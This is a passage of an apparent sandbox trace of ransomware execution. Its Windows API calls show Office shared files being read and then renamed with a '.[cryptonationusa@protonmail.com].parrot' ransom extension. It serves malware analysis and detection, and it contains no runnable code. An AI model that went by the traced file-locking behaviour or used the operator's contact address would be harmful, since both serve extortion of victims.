lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.788] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.789] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3574, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3574, lpOverlapped=0x0) returned 1 [0121.789] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c2a8 | out: hHeap=0x5b0000) returned 1 [0121.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.795] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x694290 | out: hHeap=0x5b0000) returned 1 [0121.810] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.810] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.811] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.812] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8f68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8f68, lpOverlapped=0x0) returned 1 [0121.814] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c478 | out: hHeap=0x5b0000) returned 1 [0121.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.818] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0121.820] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.820] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.822] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.822] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdfa0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0121.826] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c478 | out: hHeap=0x5b0000) returned 1 [0121.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.829] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0121.831] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.831] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.943] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.950] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30170, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30170, lpOverlapped=0x0) returned 1 [0121.966] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0121.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c478 | out: hHeap=0x5b0000) returned 1 [0121.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0121.977] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3198458 | out: hHeap=0x5b0000) returned 1 [0121.979] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0121.979] ReadFile (in: hFile=0x1b4, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0121.981] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.981] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46b70, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x46b70, lpOverlapped=0x0) returned 1 [0122.054] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.065] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT632.CNV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft632.cnv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c478 | out: hHeap=0x5b0000) returned 1 [0122.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.066] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0122.079] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.079] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.080] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.081] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe58e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xe58e, lpOverlapped=0x0) returned 1 [0122.083] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.085] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a998 | out: hHeap=0x5b0000) returned 1 [0122.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.086] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0122.096] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.096] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.096] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.097] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x22b, lpOverlapped=0x0) returned 1 [0122.097] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a998 | out: hHeap=0x5b0000) returned 1 [0122.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.103] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.104] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.107] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.107] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x621, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x621, lpOverlapped=0x0) returned 1 [0122.107] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.108] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a998 | out: hHeap=0x5b0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.109] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.111] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.111] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.113] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.113] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6292, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6292, lpOverlapped=0x0) returned 1 [0122.115] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.116] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68a998 | out: hHeap=0x5b0000) returned 1 [0122.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.117] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0122.122] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.122] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.124] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.124] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x10fc7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x10fc7, lpOverlapped=0x0) returned 1 [0122.127] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68ad78 | out: hHeap=0x5b0000) returned 1 [0122.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.130] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.134] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.134] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.134] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.135] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x201, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x201, lpOverlapped=0x0) returned 1 [0122.135] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.135] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\ARCTIC.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\arctic.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68ad78 | out: hHeap=0x5b0000) returned 1 [0122.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d2850 | out: hHeap=0x5b0000) returned 1 [0122.138] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.138] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.140] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.140] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xba9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xba9, lpOverlapped=0x0) returned 1 [0122.140] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68ad78 | out: hHeap=0x5b0000) returned 1 [0122.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0122.144] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.144] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.145] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.145] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4d44, lpOverlapped=0x0) returned 1 [0122.148] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.149] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68ad78 | out: hHeap=0x5b0000) returned 1 [0122.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.150] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647210 | out: hHeap=0x5b0000) returned 1 [0122.154] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.154] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.155] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.156] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x189be, lpOverlapped=0x0) returned 1 [0122.159] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0122.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68c818 | out: hHeap=0x5b0000) returned 1 [0122.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0122.163] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0122.167] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0122.167] ReadFile (in: hFile=0x260, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0122.168] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.168] ReadFile (in: hFile=0x260, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x211, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x211, lpOverlapped=0x0) returned 1 [0122.168] SetFilePointerEx (in: 